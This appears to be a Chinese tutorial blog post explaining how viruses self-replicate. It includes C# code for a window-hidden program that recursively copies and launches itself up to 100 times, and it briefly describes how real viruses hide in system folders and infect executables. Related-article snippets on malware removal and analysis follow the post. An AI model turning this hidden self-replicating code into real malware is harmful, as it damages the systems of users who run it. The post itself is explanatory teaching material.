病毒及流氓软件自我复制的简单实现(C#)

最近朋友的电脑中了病毒,让我跑了三次,费了九牛二虎之力,几种杀毒软件还是没有能把病毒全清除掉,最后没有办法,只能把资料复制出来,把硬盘重新分区了再装系统,装上了可以免费使用的AntiVir,于是乎世界终于清静。

  不仅因为Windows系统的脆弱,而且因为病毒无休止的自我复制和满硬盘的藏匿,使得我们脆弱的神经不堪重负,面对千疮百孔,有着莫名其妙而又千奇百怪的名字文件夹和文件的系统,相信大多数人都会选择重装系统。病毒和流氓软件总是让人气愤!那么,计算机程序怎么实现自我复制呢?其实这非常的简单。下面我将用C#简单的实现一个能够自我复制的小小的恶意程序。

  程序要实现下面几个功能。

  第一,运行时不出现运行界面,当然,在任务管理器里,还是可以看到进程的,道行再深的病毒也不可能无迹可寻。

  第二,程序在运行目录下自我复制n份。

  第三,采用递归复制的方法,即第一个程序生成第二个程序,第二个程序生成第三个程序,以此类推。

  源代码很简单,下面来分析一下:

35 // 不在任务栏显示
36 this.ShowInTaskbar = false;
37 // 窗体透明
38 this.Opacity = 0;

  System.Windows.Forms.Form类封装了一般的Windows窗口程序大部分特性,极大的简化窗口界面的设计过程,上面这两个属性用于隐藏我们的程序的运行状态,第一个ShowInTaskbar属性,设置为否时,程序就不会在状态栏上面显示。第二个Opacity属性,表示窗口的不透明度,取值在0到100之间。0%的不透明度也就是100%透明了。这样,在程序运行时,你就看不见窗体了。

44 // 默认复制次数
45 const int TOTAL = 100;
46 int _count = TOTAL;
47 // 正在运行的程序路径和文件名
48 string _file = Application.ExecutablePath;
49 // 正在运行的程序路径
50 string _path = Application.StartupPath;
51 // 正在运行的程序文件名
52 string _name = _file.Replace(string.Format("{0}\\", _path), string.Empty).ToLower();
53 try
54 {
55  _count = int.Parse(_name.Replace(".exe", string.Empty));
56  _count--;
57 }
58 catch
59 {
60 }
61 finally
62 {
63 }
64 // 目标文件
65 string _target = string.Format("{0}\\{1}.exe", _path, _count.ToString("000"));

 Application类提供了获取程序运行绝对路径并包括文件名的属性和程序运行绝对路径的文件名属性,竟然不直接提供一个文件名的属性,好奇怪。正规的截取文件名的方法应该根据"\"来判断,这里采用了替换的方法,大家可以思考一下如果用SubString怎么实现。55和56行,如果文件名不是数字,那么从100.exe开始生成,如果你执行了10000.exe的文件,那么狠糟糕,你可能需要注销一下当前用户来终止程序运行,当然,让它运行也不会有多大影响。最后,65行,我们把目标锁定在程序的当前目录下。病毒和流氓软件就没有那么客气了,经常它可能会选择磁盘根目录、C:\Winodws、C:\Windows\System32或者其他重要的系统目录中。而且病毒采用了随机的命名方式或者是模仿系统文件名称的固定命名方式,以达到隐藏自身和迷惑用户的目的。

67 if ((File.Exists(_file)) && (_count > 0))
68 {
69  // 复制
70  FileStream _fileStream = File.Open(_file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
71  byte[] _buffer = new byte[_fileStream.Length];
72  _fileStream.Read(_buffer, 0, _buffer.Length);
73  _fileStream.Close();
74  // 如果目标已存在,删除
75  if (File.Exists(_target))
76  {
77   File.Delete(_target);
78  }
79  // 粘贴
80  FileStream _writer = File.Open(_target, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None);
81  _writer.Write(_buffer, 0, _buffer.Length);
82  _writer.Close();
83  // 运行刚复制完成的程序
84  System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(_target));
85 }
86 Application.Exit();

  最后,我们来完成第三个目标,自我复制并且运行复制好的新程序。前面我们得到了_file程序运行绝对路径并包括文件名,这样,我们就可以打开并读取它了。File是文件操作的静态方法,它只负责打开,关闭,创建和删除文件,对文件的读写,就要由FileStream来操作了。这里只是整个复制文件,非常的简单。病毒的特性是可以附加到别的程序或文件上,整个过程就比较复杂了。首先,需要非常了解可执行文件的结构,把原来的可执行文件分解,并且把自身也进行分解,然后重新组合成一个新的可执行文件,但是执行的次序已经改变了,程序开始会先跳转到病毒代码,保证病毒能够被执行后,再跳转回正常的程序代码,以使病毒能够得以在隐藏的状态下执行。84行调用了新复制完成的程序。以使得新复制的程序能够自动运行,并且进行下一次的复制。同样的道理,现在非常多的软件都提供了自动更新的功能,它的原理基本也是这样,下载升级包,主程序调用升级程序,如果有必要,主程序会先退出,升级程序完成对主程序或者其他文件的复制更新,然后再重新调用主程序。由此可见,计算机的功能是没有好坏之分的。病毒能够运用的原理,普通程序当然也能够利用。水能载舟亦能覆舟就是这个道理。非常希望您为我提供批评和建议,您可以给我的邮箱Anature@163.com发送邮件。

时间: 2024-12-28 22:31:36

病毒及流氓软件自我复制的简单实现(C#)的相关文章

流氓软件ErrorSafe的简单分析清除方法与其他_病毒查杀

这里就简单描述ErrorSafe的分析和应对办法,目前,我这里只能找到两个版本,一个是1.0.22.4,另外一个是1.2.120.1,后者经升级应该是最新版本了,颠倒一下,先给出结论,并列举防范措施,最后是简单分析 结论和推广方式 1.从版本上来看,老版本的ErrorSafe还添加了服务等,而最新版本则是很简单的只添加自启动项,新版本更容易被清除 2.从程序上来看,该软件之所以被国际称为恶意软件,主要是指它的流氓推广方式及其恶劣,犯了众怒,才被人人喊打 由于该程序本身并无流氓特征,其流氓性主要体

流氓软件pchome\.setupf、realupdate.exe的解决办法_病毒查杀

本篇日志是从求助SREng日志整理出来的,主要表现是弹出广告,在收到邮件后,发现这个东东跟前段时间整理的流氓软件0848\baisoa几乎一致,看来也只是一个毫无新意的升级版       病毒文件及文件夹         %windir%\winamps.exe       %windir%\realupdate.exe       %windir%\POPNTS.DLL       %windir%\ScNotify.dll       %system%\{pchome}\.setupf\ 添

病毒、蠕虫与木马之间的区别

随着互联网的日益流行,各种病毒木马也猖厥起来,几乎每天都有新的病毒产生,大肆传播破坏,给广大互联网用户造成了极大的危害,几乎到了令人谈毒色变的地步.各种病毒,蠕虫,木马纷至沓来,令人防不胜防,苦恼无比.那么,究竟什么是病毒,蠕虫,木马,它们之间又有什么区别?相信大多数人对这个问题并没有一个清晰的了解,在这里,我们就来简单讲讲. 病毒.蠕虫和特洛伊木马是可导致您的计算机和计算机上的信息损坏的恶意程序.它们可能使你的网络和操作系统变慢,危害严重时甚至会完全破坏您的系统,并且,它们还可能使用您的计算机

病毒如何实现隐蔽性:病毒隐藏技术揭秘

隐藏是病毒的天性,在业界对病毒的定义里,"隐蔽性"就是病毒的一个最基本特征,任何病毒都希望在被感染的计算机中隐藏起来不被发现,因为病毒都只有在不被发现的情况下,才能实施其破坏行为.为了达到这个目的,许多病毒使用了各种不同的技术来躲避反病毒软件的检验,这样就产生了各种各样令普通用户头痛的病毒隐藏形式.由于木马后门的行为特征已具备病毒条件,因此这里把木马后门也统一归纳为病毒来描述. 开山鼻祖:隐藏窗口.隐藏进程.隐藏文件 在计算机流行的早期,计算机病毒和木马后门等危害程序在普通用户范围的普

“求职信”病毒/蠕虫行为深入分析_网络冲浪

描述: 程序名称:Worm.wantjob.57345 "求职信" 程序类型:病毒/蠕虫 利用漏洞:MIME漏洞 (http://www.microsoft.com/technet/security/bulletin/ms01-020.asp) 病毒行为:自我复制,通过email传播,通过网络共享传播,感染可执行文件(包括屏保), 破坏本地文件 受影响的系统:所有32位Windows版本. 详细描述(基于Win2K平台): 该程序具有罕见的双程序结构,分为蠕虫部分(网络传播)和病毒部分

对流氓软件态度 吃糖衣炮弹打回去(1)

11月14日,瑞星正式推出了"瑞星卡卡上网安全助手3.0",以此产品向业界免费提供可以彻底清除目前流行的400多种流氓软件,并可对网络终端系统进行系统加固和免疫.24小时之后,瑞星又宣布部分流氓软件开始采取更恶劣的行为躲避"瑞星卡卡3.0"的查杀,其中一个名为"my123"的流氓软件竟彻底变身为恶性病毒,并疯狂地制作变种病毒来逃避"瑞星卡卡3.0"的追杀.根据瑞星判断,该流氓软件已经 具备病毒特征,于是发布第一号追杀令,迅速升

浅谈病毒营销

http://www.aliyun.com/zixun/aggregation/8335.html">病毒营销又称基因营销或核爆式营销,是一种信息传递策略,通过公众将信息廉价复制,告诉给其它受众,从而迅速扩大自己的影响.和传统营销相比,受众自愿接受的特点使得成本更少,收益更多更加明显.(引自:维基百科) What 病毒营销不是制造病毒! 简单的来说,病毒营销 即利用 250定律 进行口碑营销(Word-of-Mouth Communication),让营销的载体如病毒般具有自我复制.主动传

病毒、流氓类客户端推广

中介交易 SEO诊断 淘宝客 云主机 技术大厅 估计各位都遭遇过,QQ好友发来的12590之类的点歌消息,还有图铃广告 消息,也遭遇过莫名其妙的弹窗,去不掉的ie设置首页等等,其实这些就是今天我要讲的病毒.流氓类客户端推广,虽然本人十分讨厌这类推广方法,但它也是一类推广,今天就在这做个简单的介绍. 首先我们要明白什么是流氓病毒,流氓软件.那到底什么是流氓病毒,流氓软件呢?不以损坏电脑软硬件\窃取信息为目的,而是以干扰用户正常操作为目的,比如改你的主页,自动弹出网页,打不开文件夹,锁定任务管理器等

图片病毒技术原理剖析

一.被诅咒的油画 在网络上流传着一幅诡异的油画,据说很多人看后会产生幻觉,有人解释为油画的构图色彩导致的视觉刺激,也有人认为是心理作用,众说纷纭,却没有令人信服的答案.在网络公司上班的秘书小王也从一个网友那里得知了这幅画,她马上迫不及待的点击了网友给的图片连接. 图片出来了,小王终于见识到了传说中诡异的油画,面对着屏幕上那两个看似正常的孩子,她却觉得背后凉飕飕的.那网友也很热心的和她聊这幅画的来源,小王入神的听着,丝毫没有注意到IE浏览器左下角的状态栏打开页面的进度条一直没停止过. 如果说小王刚